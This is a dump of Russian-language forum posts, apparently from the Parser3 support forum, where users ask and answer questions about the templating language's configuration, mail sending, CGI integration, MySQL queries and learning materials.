"6189","reallyalexpro, сколько мы вам должны денег?\
\
факт, я пропустил сообщение от egr месячной давности. [у меня ломался удобный способ чтения форума в почте, а читать на web не мог себя доставить]\
предлагаю о явных ошибках писать мне лично, а не в форум.\
"
"6190","Вот задался написать на Парсере, нечто похожее\
на phpmyadmin и уперся в такие грабли\
OPTIMIZE TABLE `name`, то есть такой запрос вызывает ошибку, что это у меня руки неровные, или Парсер\
этого пока не может?"
"6191","Все у вас деньгами измеряется...\
Привет Лебедеву!"
"6192","такой код: \
<form name=zak \
action=\"^mail:send[ \
         $.from[${mail}] \
         $.to[<i@tipoc.com>] \
         $.subject[привет] \
         $.text[${zap}]\
        ]\" matod=post>\
E-mail:<input type=text name=mail size=35>\
Запрос:<textarea cols=30 rows=10 name=zap></textarea>\
<input type=submit name=post value=Отправить>\
<input type=reset name=clear value=Отменить>\
</form>\
\
Неработает гадина. Подскажите где ошибки."
"6193","Прорабатываю 4-й урок.\
В директории news создал auto.p пустой и добавил функции календаря.\
Функции корневого не подхватываются. Это правильно или я где-то торможу?"
"6194","ParserConfig /cgi-bin/auto.p"
"6195","Форма (<form >...</form>) вообще-то обрабатывается БРОУЗЕРОМ...\
\
После сабмита на указаный в action URL приходят данные, которые ты можешь обработать в том числе парсером...\
\
"
"6197","Чего делать не знаю :(((("
"6198","Извините просто больше не знаю куда обратиться!\
\
Выдает нечто: ns.internettorg.com is not a registered name server.\
\
Пытаюсь перевести ns сервера для internettorg.com на свой хостинг.\
\
Нужно ли дополнительно регестрировать NS сервера.\
\
Есть \"правый\" ip (213,242,63,42)"
"6199","Объясните чайнику -- как вообще запускается парсинг -- прямо прописывается в HMTL-код (и если да, то как прописать \"заказ\" в конфиг-файле Апачей к примеру как\
AddType text/html .shtml .shtm\
AddHandler server-parsed .shtml .shtm .html .htm\
)...\
или как...?"
"6200","Чья ошибка Парсера или MySQL?"
"6201","Методы корневого должны быть ведны."
"6202","Как работает можно прочитать в [url=\"http://www.parser.ru/faq/\"]FAQ[/url], а про установку написано в разделе [url=\"http://www.parser.ru/download/\"]скачать[/url]."
"6203","В парсере существуют преобразования(untaint,taint) в js, xml, html ... , хотелось бы видеть еще преобразование в wml где символы за исключением цифр, строчных и прописных латинских букв и ещё некоторых, преобразуются в &#xXXX; где XXX - код символа (UTF-8) в шестнадцатеричной форме, почти тоже самое что приобразование в uri.\
\
Такие вот вредные микро броузеры в мобильниках...\
\
"
"6204","файл: pa_vmail.c\
функция: file_value_to_string()\
\
413: const String *file_name;\
432: if(...) // specified $name\
434:     file_name=&vfile_name->as_string();\
\
440: const char *file_name_cstr=file_name->cstr();\
\
если при отправке письма не указать имя файла, то на строке 440 file_name еще не инициализирована и сервер падает с AV.\
\
Возможное решение:\
413: const String *file_name=0;\
\
     if(file_name==0) throw Exception(...);\
440:\
\
В документации (глава \"send. Отправка сообщения по электронной почте\"), в последнем примере необходимо исправить 'file-name' на 'name'."
"6205","Как настроить веб сервер (апач) запускать пользовательские скрипты (в частности Parser)от имени пользователя.\
\
 #Парсер же скомпилен так, чтобы открывать файлы, созданные от\
 #имени, с которым он запущен. Это описано в FAQ парсера (в конце).\
\
вообщем чтоб он мне не писал: parser reading files of foreign group disabled."
"6206","Как парсить вывод скрипта на перле при помощи данного парсера?\
\
Очень хотелось-бы упростить работу при помощи данного инструмента\
но возможностей парсера не хватит что-бы удовлетворить все мои потребности. Придется писать скрипты на перле.\
Но хранить отдельно шаблоны для моего скрипта и для остальных хтмл-ок это мутор!!!\
Хотелось бы совместить эти два замечательных инструмента вместе\
Если так сделать нельзя, то очень жаль, что сфера использования парсера одни хтмл-ки "
"6207","переименуй эту таблицу."
"6208","сделай \
\
...action=\"mail.phtml\"\
\
а в mail.phtml напиши функцию отправки мыла:\
^mail:send[\
...\
...\
]\
Письмо ушло! :-)"
"6210","Однако вы попутали\
нужна другая последовательность\
\
1 Исполняется перл скрипт\
2 Вывод перл скрипта обрабатывается парсером\
3 Все отдается клиенту\
\
то есть скрипт на перле должен передавать вывод парсеру. А парсер должен вывод скрипта обработать как простую хтмл-ку\
\
А в http://www.parser.ru/docs/lang/filecgiexec.htm\
описывается как из парсера запустит скрипт на перле и передать ему переменные в переменные окружения\
\
Я думаю проблема решается, если parser3 будет принимать данные через STDIN."
"6211","Не понемаю зачем так извращаться... Передай информацию от скрипта с помощью переменных окружения или XML."
"6212","1. Из под парсера запускается перловый скрипт\
2. Результат процесится парсером: http://www.parser.ru/docs/lang/opprocess.htm\
3. Все это выдается клиенту"
"6213","Как?\
как я по твоему из своего скрипта на перле передам данные в парсер?\
"
"6214","А не слишком мутарно?\
я же в основном пишу все на перле\
это мне придется хранить таблицу вызовов, или хотя-бы к каждому скрипту прикладывать дубль с расширением .html в котором и будет происходить вызов\
\
хотя идея :)"
"6216","Весь смысл этой технологии в достаточности Парсера для 98% задач, а вот то, что нельзя сделать внутренними средствами языка, надо реализовывать внешними скриптами. Использовать Парсер для примитивного парсинга шаблонов слишком расточительно."
"6217","из документации:\
\
Конструктор cgi создает объект класса file, содержащий результат исполнения программы в соответствии со стандартом CGI. Заголовки, которые выдаст CGI-скрипт, конструктор поместит в поля класса file в ВЕРХНЕМ регистре. Например, если некий скрипт script.pl, среди прочего, выдает в заголовке строку field:value, то после работы конструктора \
$f[^file::cgi[script.pl]], \
обратившись к $f.FIELD, получим значение value. \
"
"6218","Наме там стоит для примера, то есть название таблицы. "
"6221","test.html\
---------------\
$cgi_file[^file::exec[/cgi-bin/test.cgi]] \
^process{$cgi_file.text}\
---------------\
\
test.cgi\
----------\
#!/usr/bin/perl\
foreach $var (sort(keys(%ENV))) {\
    $val = $ENV{$var};\
    $val =~ s|\\n|\\\\n|g;\
    $val =~ s|\"|\\\\\"|g;\
    print \"${var}=\\\"${val}\\\"<br>\\n\";\
}\
# И конечно код для парсера\
print \"^eval(100/6)[%.2f]\";\
----------\
\
Теперь все CGI запросы, адресуемые к test.html, окажутся в test.cgi\
а вывод test.cgi будет обработан парсером\
\
Все давольны, всем спасибо.\
Как неудобство - лишние файлы с вызовами\
Как удобство - скрыли в какой-то мере от злых глаз скрипты на перле\
"
"6222","Опять путаете\
мне не парсер в качестве интерпритатора скриптов нужен, а парсер STDOUT-а скрипта \
(то, что я напишу в print \"^eval(100/6)[%.2f]<br>\" парсер должен обработать);\
\
вроде решение сформировалось на http://parser.ru/forum/?id=6221"
"6225","Добавление CharsetRecodeMultipartForms Off результатов не принесло. Кто-нибудь знает, в чем дело?"
"6229","просто если делать так то письмо уходит без проблем:\
\
.... action=\"^mail:send[\
$.from[<kozma@prtukov.com>] \
$.to[<i@tipoc.com>] \
$.subject[привет] \
$.text[sdfsdfsdfsdf]\
]\"\
\
Вот и подумалось, а нельзя ли сразу закинуть обрабатываемые поля в отправку письма.\
\
Нильзя так нильзя! :)"
"6230","Не я один буду запускать скрипты\
поэтому никто не знает, сколько одновременных запросов будет к скрипту\
даже если я и буду загонять в файлы \
tmp_hour_min_sec -я не уверен, что к скрипту не обратятся в одну и ту-же секунду (точнее два и более!!! процесса скрипта закончат в одну и ту-же секунду)\
А это серьезный баг. Очень серьезный!!!"
"6231","Поищи по форуму: тут уже несколько раз обсуждались надежные способы формирования имени для временного файла."
"6232","Что сам подход: генерация парсерного кода Перлом и дальнейшая его обработка Парсером, мне кажется сомнительным."
"6233","Я думаю все просматривали урок 4 и знают о чём там речь. Может что-то большими буквами писать надо? "
"6234","Причем тут синтаксис, я даю команду\
^void:sql{OPTIMIZE TABLE `name`}\
и получаю ошибку"
"6235","Я отсылаю почтовую форму и ставлю\
\
$response:location[$request:uri]\
и ставлю $response:body[^otvet]\
чтоб отправитель увидел подтверждение что форма отправлена, \
но я так понял, что это не катит.\
\
Что можно сделать в таком случае?"
"6236","У меня в такой конфигурации все работает.\
------------------------------------\
LoadModule parser3_module x:\\path\\to\\apachemoduleparser3.dll\
AddModule mod_parser3.C \
AddHandler parser3-handler html\
ParserConfig x:\\path\\to\\auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
"
"6237","Под виндой вроде всё нормально работает, только auto.p из корня не видно в других директориях. У меня проблемы с FreeBSD "
"6238","Первое почитай статью Егорова\
http://www.egoroff.spb.ru/portfolio/file_8.html\
про установку парсера на Нет.ру, там под хрушу\
второе,\
надо указывать полные пути"
"6239","Я начал разработку собственного вебсервера с встроеной поддержкой парсер3 и так же планирую создать к нему модуль администрирования MySQL.\
На мой взгляд подобная связка даст фору по скорости и производительности всем аналогам. По моим замыслам кроме парсера, html, xml и CSS, другие\
языки и технологии поддерживаться не будут.\
Хотелось бы услышать Ваше мнение по данному\
вопросу.  "
"6240","IMHO ты забыл две очень нужные вещи: SSL и CGI. С первой, я надеюсь, все понятно, а вот вторая понадобится в случае нестандартных задач: не будешь же ты непрерывно модифицировать встроенную версию Парсера.\
\
И сразу вопрос: стоит ли изобретать очередной велосипед, и не проще ли собрать под себя специальную версию Apache, оставив только необходимы компоненты?\
"
"6241","Какая программа позволяет компилировать HTML-файлы в CHM формат, тот самый в котором хранится документация к парсеру 3? Было бы здорово получить в ответе ссылку на бесплатную, или хотя бы try&buy версию этой программы для windows. Спасибо."
"6242","по $response:location[$request:uri] ты уходишь на $request:uri, и что там дальше в body у тебя уже не важно - загрузится $request:uri "
"6243","задать нужный мне uri+response:body[форма обработанна]"
"6244","Спасибо. Неделю прострадал.\
Извини за наглость, может \
1. подскажешь толковую ссылку по MySQL.\
(буду пробовать тестовые примеры на сервере под BSD и как я понимаю там управление командной строкой)\
2. подскажешь почему у меня не видятся функции корневого auto.p в директориях.\
Ещё раз огромное спасибо. \
"
"6245","1. Пошли мне пустое письмо, я вышлю тебе\
на русском по MySQL.\
2. Нужно больше информации,\
@main[] дает указание на корневой Auto.p,\
или Вы не внимательно читали статью Егорова,\
видно у Вас неправельно прописан DOCUMENT_ROOT в\
BSD"
"6246","$response:location[$request:uri]\
и ставлю $response:body[^otvet]\
но я так понял, что это не катит.\
----------------------------------\
правельно\
что мешает зделать так\
$response:location[otvet.html]\
"
"6247","Первое, в днс который поддерживает\
internettorg.com, нужно прописать\
ns сервера, далее, а сколько времени прошло с момента Вашей попытки перенести сервера, зона обновляется за 12-24 часа. Может время не прошло. "
"6248","Насколько я понял ты auto.p поместил в деректорию\
/news, тот который описан в примере 3, и при этой\
конструкции у тебя не видны функции из корневого?\
а какую ошибку пишет, просмотри eror_log "
"6249","<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<HTML><HEAD>\
<META content=\"text/html; charset=windows-1251\" http-equiv=Content-Type></HEAD>\
<BODY></BODY></HTML>\
\
содержание страницы которая формируется"
"6251","http://www.easyhelpweb.com/html-help-chm-files.htm"
"6252","как менять (свои) настройки форума --\
\
у меня уже весь ящик в ответах на мои и чужие вопросы..."
"6253","Вставьте нижеследующий код в test2.html, чтобы получить представление о чем я:\
\
<html>\
<head>\
<title>Бага</title>\
</head>\
<body>\
\
$text[^untaint{$form:text}]\
$out[]\
$strings[^table::create[nameless]{$text}]\
^strings.menu{\
	$str[$strings.0]\
\
# меняем кавычки\
	$mtc[^str.match[(\"(.+)\"(?))][g]]\
	$fplan[]\
	^mtc.menu{\
		$rtable[^if(def $rtable){$rtable^#0A}$mtc.1	&laquo^;$mtc.2&raquo^;$mtc.3]\
	}\
	$rep[^table::create[nameless]{$rtable}]\
	$str[^str.replace[$rep]]\
\
### Вывод	\
	$out[^if(def $out){$out^#0A}<p>$str</p>]\
}\
<hr noshade=\"noshade\"/>\
^taint[$out]\
<hr noshade=\"noshade\"/>\
$out\
\
<form action=\"test2.html\" method=\"post\" name=\"test\" id=\"test\">\
<textarea name=\"text\" cols=50 rows=10>^if(! def $text){Вся моя проблема заключается в том, \"что если в эту форму наколотить больше 255 символов, не нажимая при этом Enter'а, то поиск по шаблону работать не будет. Я в RegExp'ах не шибко силен, поэтому не знаю, так оно должно быть или нет. Буквы кончаются тут \".}{$text}</textarea>\
<br /><br /><input type=\"submit\" name=\"submit\" />\
</form>\
\
</body>\
</html>\
\
\
PS: Я в курсе про замену сразу в match, этот пример рабочий, а фишка в другом.\
"
"6254","Чудеса прямо творятся :(\
На http://www.fridas.ru/anti/parser/test2.html \
лежит эта самая страница"
"6256","Оттветте плз.\
\
Например txt htm html php...\
\
Есть ли возможность реализации загрузки страниц на Парсере.\
Может каким либо комплексом операторов.\
\
Подскажите хотябы принципы."
"6257","сделай $response:location[$request:uri?code=ok]\
а там уже:\
[code]\
^if(def $form:code){\
  ^if($form:code eq ok){\
    сообщение отправлено и всё такое\
  }\
}\
[/code]"
"6258","не думаю что тебе удастся сделать сервер быстрее, чем апачи.. и по возможностям хотя бы на 50%. так как дело даже не в поддерживаемых \"технологиях\", а в других серверных возможностях."
"6259","только через внешний скрипт"
"6260","Может ПЕРЛ или ПХП?"
"6263","так с 'name' и пишешь?\
[code]\
OPTIMIZE TABLE hello\
[/code]\
не пробовал?"
"6264","для начала стоит попробовать отправить запустив sendmail вручшую, так вы увидите, что parser не при чём.\
\
почта по дороге может перекодироваться, это иногда можно заметить по заголовкам пришедшего письма."
"6265","лучше всего именно уйти сразу по location, так в history не попадёт страница action, и кнопка back не попадёт в то место, которого нет.\
\
но в каких-то случаях можно использовать заголовок refresh:\
[code]\
$response:refresh[\
   $.value(10) \
   $.uri[http://далеко]\
]\
[code]"
"6266","http://www.google.com/search?q=wget"
"6267","`name` - это общее название таблицы,\
например `news` тоже не берет и дает ошибку"
"6269","да хороший вариант все работает"
"6270","Хоть с ними хоть без них получаю\
\"must return nothing\", насколько я понимаю Mysql\
дает ответ, а метод void воспринимает это как ошибку,\
сейчас попробую через table"
"6272","Только уже есть thttpd и зачем его с нуля переписывать - неясно."
"6273","Файлы HTML в документ с помощью команды [code]^file::load[binary;/dir/name.htm][/code] -- вставляются, но все тэги отображаются в формате [code]text/plain[/code]. Пробовал и с [code]binary[/code] и с [code]text[/code] -- эффекта нет. Возможно ли вообще такое (как в SSI -- [code]#include[/code]) и если возможно, то -- как?"
"6274","@greeting прописанный в самом HTML-файле вызывает ошибку runtime -- recursion. Я нашел выход прописав отдельный цефегешник с заголовками + условие (по типу -- [b]$sections.uri eq $request:uri[/b]), но этот баг меня совершенно не радует...\
\
Заранее благодарен\
\
P.S. Сервер -- Apache под Виндозу (от ку/роводства)"
"6275","Как мне добиться того, чтобы сохраненные в базе данных html теги, воспринимались парсером именно как теги, а не как текст.\
\
Я пробовал команду ^taint[html][$table.body], но в место исполнения тегов у меня они просто изображались на экране как тектс."
"6276","Прошу прощения.\
Сам задал вопрос. И сам же нашел ответ."
"6278","ты видать в самом greeting[] прописал ещё один greeting вот и получается рекурсия"
"6279","Спасибо, друг! Очень помог... А то я уже задолбался с настройкой!"
"6280","1. Если у тебя есть гора свободного времени и сил, то нет проблем, можно и свой сервер написать, но думаю лучше это время потратить на что-нибудь более полезное, нежели чем на изобретение собственного велосипеда.\
\
2. Существует 2-я версия Apache, в которой очень много нового, которое нуждается в доводке, адаптации и наконец реализации. По моему 2-й Apache это лучший веб-сервер из того что существует. Думаю тебе лучше заняться адаптацией 2-го apache для своих нужд, например доделкой модуля парсера под него (я уже сделал небольшой задел и если есть желание доделать - осталось написать output filter, то я не против).\
\
3. Не думаю что твой сервер с встроенным парсером будет быстрее чем apache с парсером ввиде модуля или IIS с ISAPI расширением парсера. В этих случаях парсер ведь тоже по сути встроен в сервер."
"6281","чтобы люди, найдя ваше сообщение поиском по форуму радовались не [b]за[/b] вас, а радовались [b]вместе[/b] с вами"
"6282","Спасибо egr@yandex.ру;\
еще промаялся помимо вышеупомянутой ошибки - у меня не сработала ситуация когда AddHandler и т.д. написано в .htaccess - перенес в httpd.conf , только тогда и заработало..\
-:( может она вообще не смотрит на .htaccess."
"6283","это уже такой второй вопрос в форуме. автору предыдущего я уже ответил по существу вопроса. и спросил, зачем это нужно?\
\
ведь не телефон же это получает, а промежуточный сервер, он же должен перепаковывать, опираясь на xml стандарт.\
\
[параллельно я спросил у знающих людей]"
"6284","обсуждать [b]тут[/b] вроде как нечего…"
"6286","Я не понял зачем ты это засовываешь в таблицу.\
\
Ты лучше расскажи что ты хочешь сделать?\
\
P.S. твой шаблон на мой взглад некорректен."
"6288","Парсер - очень удобная технология, но все же в ней не хватает нескольких вещей.\
\
1. Было бы неплохо научить парсер работать с сокетами и понимать всекий там http://, smtp://, pop://, imap://.\
2. Также чувствуется ограничение с табами. нельзя ли сделать так, чтобы можно было указывать разделители прямо в свойствах загр. таблицы, а то ч/з match уже немного парит.\
\
Рад что Парсер существует.\
Вскоре, когда доделаю учебный курс. Буду его преподавать на курсах веб-дизайна."
"6289","Parser3 ругается на \
$request:charset[windows-1251] \
$response:charset[windows-1251] \
в parser3.conf\
\
Если их закоментировать то парсер3 запускается,\
но \"русского языка\" не понимает??? :)\
"
"6290","В шаблоне все нормально - он меняет знаки дюймов в тексте на кавычки-елочки. Таблица нужна потому, что там кроме этого еще всякие действия происходили.\
\
Проблема там оказалась в replace - он дурит, когда один из фрагментов больше 255 символов.\
\
PAF обещал разобраться.\
\
PS: Я уже переписал весь этот код на Perl, так что можно не советовать как исправить положение :)"
"6291","Добрый день!\
\
Возможно ли как-то реализовать докачку файлов отдаваемых парсером через $response:body[$file]?"
"6292","Пока чего у тебя в html написанно\
\
Если ты все катаешь как в примере то все должно работать цигель."
"6294","Проверь конфиги - в первую очередь - пути к файлам и их (файлов с кодировками) наличие"
"6295","докачка имеет смысл для статичных файлов, т.е. местоположение которых не меняется. Подобная же штука ($response:body[$file]) как мне кажется, применяется в случае если необходимо не привязываться к местоположению файла, а это нужно когда файл может менять своё местоположение достаточно часто."
"6296","вы можете сформировать необходимые поля ответа / анализировать требуемый диапазон самостоятельно.\
\
встраивать это в parser мне не представляется необходимым: ведь обычно $response:body используют при авторизуемом доступе куда-то, когда не используется http авторизация. при такой схеме обычные программы докачки не смогут пройти эту нестандартную авторизацию = не смогут докачать.\
\
если файл несекретный, его всегда можно сохранить на диск, отдать ссылку."
"6297","kak mozhno slozhit site iz file'ov, raspolozhennih na raznih server'ah. Ya tut pokopalsya v wget'e, no realnogo vihoda ne nashel(mozhet ploho iskal - ne znayu). Vse eto server'niy soft, kotoriy mne ispolzovat ne dadut. Cherez $response tozhe ne poluchitsya - file::load - ne to... Tak kak-zhe?!\
\
P.S. Da znayu ya...znayu, chto vam vlom chitat translit...:)"
"6299","neuzheli net drugogo vihoda?!"
"6301","Киньте, пожалуйста, посмотреть пример auto.p из директории у кого всё нормально работает. learso@bigmir.net\
Может я ошибаюсь в структуре.\
Создаю пустой auto.p в директории в рез-те корневого не видно.\
"
"6302","[code]\
@USE\
/auto.p\
[/code]"
"6305","странные вещи происходят при отправки писем вторым парсером. пропадают знаки равенства! (=)\
вот код:\
[code]\
^sendmail[`From: ^var[from]\
To: ^var[to]\
Subject: ^var[subject]\
MIME-Version: 1.0\
Content-Type: multipart/mixed;\
	boundary=\"----=_NextPart_000_0005_01C1E01F.2C7ECCC0\"\
\
------=_NextPart_000_0005_01C1E01F.2C7ECCC0\
Content-Type: multipart/alternative;\
	boundary=\"----=_NextPart_001_0006_01C1E01F.2C7ECCC0\"\
\
\
------=_NextPart_001_0006_01C1E01F.2C7ECCC0\
Content-Type: text/plain;\
	charset=\"koi8-r\"\
Content-Transfer-Encoding: quoted-printable\
\
^var[text]\
\
------=_NextPart_001_0006_01C1E01F.2C7ECCC0\
Content-Type: text/html;\
	charset=\"koi8-r\"\
Content-Transfer-Encoding: quoted-printable\
\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD W3 HTML//EN\">\
<HTML>\
<HEAD>\
<META content=3Dtext/html;charset=3Dkoi8-r http-equiv=3DContent-Type>\
</HEAD>\
<BODY bgColor=#ffffff>\
<p>^var[text]</p>\
^var[photoCode]\
</BODY></HTML>\
\
------=_NextPart_001_0006_01C1E01F.2C7ECCC0--\
`]\
[/code]\
\
Если в ^var[photoCode] лежит что-то, типа \"<img src='http://www.server.ru/i/zzz.jpg'>\", то приходит это в виде \"<img src'http://www.server.ru/i/zzz.jpg'>\", то есть без знака равно. во всех других местах знаки = тоже пропадают. пытался отправить на разные почтовые сервера - результат - тот же. хостер - зенон."
"6306","Добрый вечер.\
Господа, ни кому не приходилось с одной формы загружать на сервер два файла одновременно (input type=\"file\"). У меня загружаются два файла. У них правильные имена, пути правильные, а код одинаковый. Это, часом, не баг?\
\
Ver: 20020809parser3"
"6307","1. создается файл [b]titles.cfg[/b] в корневом каталоге\
\
2. в нем прописывается таблица (такая же как и в [b]sections.cfg[/b]), но в поле [color=\"red\"]name[/color] вместо теста ссылки вставляется заголовок страницы, находящейся по этому адресу.\
\
3. в [b]auto.p[/b] прописывается такой код:\
[code]\
@titler[]\
$titles[^table::load[/titles.cfg]]\
	^titles.menu{\
		^titles_choice[]\
	}\
\
\
@titles_choice[]\
^if($titles.uri eq $request:uri){\
	<title>$titles.name</title>\
	$greeting[$titles.desc]\
}{\
	\
}\
[/code]\
\
(поле desc (т.е. description) предназначено для базы [b]greeting[/b]'ов)\
\
4. потом остается только добавить в функцию @header[] вместо [b]<title>bla-bla-bla</title>[/b] -- строчку ^titler[], а на место [b]greeting[/b]'а -- $greeting\
\
И усе сделано...\
\
PS. Таким же макаром можно сделать и файл [b]greetings.cfg[/b] с приветствиями -- отдельно -- если рук много и делать нечего...\
\
PPS. А еще можно создать в *.cfg другие поля -- для мета-информации.\
Честно говоря, до меня только сейчас дошло, что не надо было делать ДВА цефегешника -- можно было и одним обойтись.\
\
Вопрос к PAF'у -- Parser'у же плевать, сколько в таблице столбцов? Или нет?\
\
Заранее благодарен\
"
"6308","вставляется HTML-файл с сохранением форматирования так:\
[code]\
\
$f[^file::load[binary;/directory/name.htm;]]\
^taint[as-is][$f.text]\
\
[/code]\
\
просто я не добрался до taint/untaint, а уже начал вопросы задавать... :("
"6309","Нам надо отдавать ретэйловую версию продукта, предварительно выяснив куплена ли она и не истек ли срок подписки на апдейты..."
"6310","Увы, файл секретный - ретейловая версия достаточно дорогого продукта...\
Видно, придется решать собственным модулем авторизации, но все равно спасибо за исчерпывающий ответ!"
"6312","/var/www/learso.com.ua/gbook/index.html(5:1): ''USE'' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'  type: parser.compile\
"
"6313","Такой вопрос возник. Надо сделать ленту новостей (календарь) типа написанного в мануале к парсеру. Отличие закл. в том, что понятия \"дата\" как поле date тут нет, т.е. могут быть даты типа \"1-10 сентября\" и т.д. Таким образом, дата - varchar. Возникает вопрос: как органично задать последовательность строк, чтобы с помощью веб-интерфейса можно было впихнуть пост после любого заданного? Я создал поле postid (primary key), но если его тупо инкрементить, я смогу дописать только в конец...\
Есть идея создать поле nextpost, куда писать postid след. поста. Тогда, в случае чего, можно nextpost-ом нужного поста указать postid впихнутого, а nextpost-ом впихнутого - postid следующего за нужным. Но это как-то криво...\
Подскажите, плиз, куда копать? Чувствую, что фигня вопрос, а не пойму...\
\
Заранее сенкс."
"6314","Ой-ой-ой... Попросил Яндекс поискать unhandled exception - 1500 страниц выдал :-)\
\
К чему бы это? :-/"
"6316","> Таким образом, дата - varchar.\
\
Мне ещё такая вкусная трава ни разу не попадалась.\
\
> но если его тупо инкрементить, \
> я смогу дописать только в конец...\
\
А если инкрементить его не очень тупо - например, с шагом в 100?"
"6317","Необходимо в модуле при выполненнии определенного условия прерывать (или переходить на след. элемент выборки) цикл, например, menu{}. Как это сделать? ну типа, last-next в Perl."
"6318","То ли лыжи не едут, то ли что.. в общем хреново у меня получается установить парсер себе что на сервер что на локальную машину, и что бы исключить хотя бы одно звено.. ОГРОМНАЯ ПРОСЬБА кто-нить вышлите мне простенький пример на парсере на почту nik33@mail.ru\
\
заранее благодарен!"
"6319",">Мне ещё такая вкусная трава ни разу не попадалась.\
\
:)\
\
>А если инкрементить его не очень тупо - например, с шагом в 100?\
\
Хорошая идея. В данном случае, пожалуй, решит проблему, но это налагает ограничение в 100 \"впихнутых\" постов и вообще как-то неизящно. Ну а вообще, если я хочу в базе хранить строки в определенном порядке и и иметь возможность повлиять на этот порядок в любой момент, неужто нет какого-то человеческого механизма?"
"6320","всё работает нормально. Только естественно надо для каждого поля формы типа file иметь уникальное имя."
"6321","и алгоритм для сортировки, в котором используется ента штука, назвается топологической сортировкой. И вопрос тут совсем не такой простой как кажется."
"6322","пользовательский класс - это файл начинающийся со строчки:\
[code]\
@CLASS\
имя\
[/code]\
где его хранить каждый сам для себя решает, тут единого рецепта нет."
"6323","В доке таких примеров много."
"6326","надо\
@USE[здесь enter]\
/functions.p\
/utils.b\
\
 и т.д."
"6327","у тебя ведь стоит encoding quoted printable,\
\
попробуй писать =3D вместо равенства"
"6328","там все примеры рабочие, на них и эксперементируй."
"6329","Парсер в некоторых местах чувствителен к пробелам, поэто му точно слудуй примерам.\
\
Я на этой проблеме кучу шишок понабивал :)"
"6330","К примеру есть таблица:\
\
number name\
1      Demon\
2      Demon1\
3      Demon3\
\
Как быстро на парсере, из загруженной в массив таблицы убрать строку где number=2?\
\
"
"6331","Да. Имена у них уникальные.\
Возможно это характерно только для указанной версии парсера под freebsd?\
"
"6332","Ты все равно всех проблем не решиш - это главное \
и потом такой сайт будет постоянно загружать файлы с разных серверов, а следовательно тормозить, и где гарантии, что один сервер работает, а другой нет?"
"6333","и не характерно для этой версии для FreeBSD, - только-что специально для 3-х файлов проверил и всё грузится нормально."
"6335","на его основе можно сделать под любой sql сервер."
"6336","В PHP их я видел."
"6337","Вариантов несколько: menu, select... Есть какой-то вариант в примерах (http://parser.ru/examples/lib/), однако он старый, не использующий select, с которым это делать лучше.  Ищи в форуме пост Luzhnikovskiy - он приводил код."
"6338","Это все к тому, что никто не застрахован от ошибок. \
И ошибаются програмисты и алармы на серваках случаются.\
И это все к тому, что (не помню кем, но на форуме это было сказано) ошибки ЯЗЫКОНЕЗАВИСИМЫ."
"6339","Меня много, вы одни. Меня понаехало тут и вообще. Тем не менее предлагаю внимательно прочесть (и желательно, понять) мою критику. \
\
Основная мысль моего (и не только, судя по архиву сообщений) послания - вы значительно облегчили бы процесс ознакомления с парсером, если бы в примерах можно было бы скачать какой-нибудь работающий проект целиком. В качестве хорошего кандидата могу порекомендовать собственно код сайта parser.ru. Это хорошо соотносилось бы с концепцией открытости проекта.\
\
Сейчас процесс ознакомления с парсером построен на в корне неверном предположении, что кто-то будет трудолюбиво выполнять один \"урок\" за другим. Товарищи, это противно человеческой натуре. Вы сами часто начинаете какой-нибудь процесс с ознакомления с инструкцией? \
\
Я потратил на знакомство с материалами parser.ru час (вечность по меркам интернетного attention span) и до сих пор не могу решить, имеет мне смысл использовать парсер или нет. При наличии небольшого проекта в исходниках мне хватило бы 20 минут на получение намного более адекватного представления о системе.\
\
В общем, прошу вместо того, чтобы обижаться, выложить код parser.ru для ознакомления.\
\
ES"
"6340","Критику вашу внимательно прочитал и, кажется, понял.\
\
Сайт parser.ru построен по более навороченой технологии (во загнул) и совершенно не облегчит жизнь тем, кто не знаком с  парсером. И в ближайшем будущем этот код выложен не будет (я так думаю :) )\
\
Я очень часто начинаю знакомство с новыми вещами с инструкции - и, как ни странно, это очень часто облегчает жизнь, позволяет обойти кучу граблей и не изобретать ненужных велосипедов.\
\
Да, процесс обучения построен на подобном предположении, но ты не можешь утверждать, верное оно или нет для кого-либо, отличного от тебя. Если для тебя нужно другое - ну извини, пока другого нету. Может быть будет, когда на это будет время. Сам должен понимать, вечностей у нас ...по меркам интернетного тра-ля-ля... тоже не дофига.\
\
Если кто-нить напишет подобный пример - запросто выложим."
"6342","за некислую сумму денег :)"
"6343","Зато работает а по другому я тоже не смог"
"6344","Нет, для меня это еще не повод отказаться от технологии. Но вообще в практике подобных проектов создатели принципиально используют ту технологию, которую представляют публике. Потому что это лучшая рекомендация.\
\
Я действительно предпочитаю способ ознакомления от общего к частному. Пример цикла for или класса не дает никакого представления о том, какой геморрой - грамотное программирование на C++. Поэтому я сначала смотрю на проект во всем его безобразии (красе), потом разбираюсь с реализацией по углам.\
\
Инструкции я тоже на самом деле иногда читаю. Я честно посмотрел примеры, более-менее понял как они работают. Но они не дают представления о массе других нюансов, с которыми столкнется разработчик реального сайта. Можно начать тыкаться самому и завалить форум вопросами - но по сравнению с комплексным примером это намного трудоемкий способ как для спрашивающего, так и для отвечающих.\
\
Так что выложить целиком проектик - это как раз способ сэкономить довольно большое количество вечностей по меркам интернетного тра-ля-ля.\
\
Think."
"6345","но не в таком виде, чтобы это было просто и сразу понятно.\
\
тут используется целая куча вещей: SQL (для многих начинающих само это слово уже ругательство), XML/XSL (это для многих еще хуже, чем SQL), парсерные классы, их наследование, переносимость кода SQL (что так-же не всегда сказывается на понятности) и др. Кроме того тут не используется хранение данных в файлах (почитай форум - все предлагают SQL менять на файлики, и что они скажут) и др.\
\
Ну и самое главное - тут используется то, что студия продает :) \
\
Пример построения сайта на парсере целиком безусловно нужен, и я думаю, что он будет, но этот пример - не код parser.ru"
"6346","именно поэтому в версии 3.0.0005 мы сделали по-умолчанию status этой страницы =500, и перестали выводить подробную информацию.\
\
то, что осталось: немного страниц от предыдущих версий p3, разумеется, далеко не все ссылки про parser."
"6348","спасибо большое за реальную помощь и поддержку!\
или все таки так сложно послать ПРОСТОЙ ПРИМЕР и не посылать меня на страничку с кусками кода.."
"6349","Переписать свою старую-престарую статью про установку Apache/win32 (помните? было дело...), включить туда главку про parser и маленький example site (что-то вроде личного blog'а а-ля LiveJournal, естественно, не такого навороченного...) с огромным количеством комментариев в коде. Если что-то выйдет приличное, пришлю))))\
\
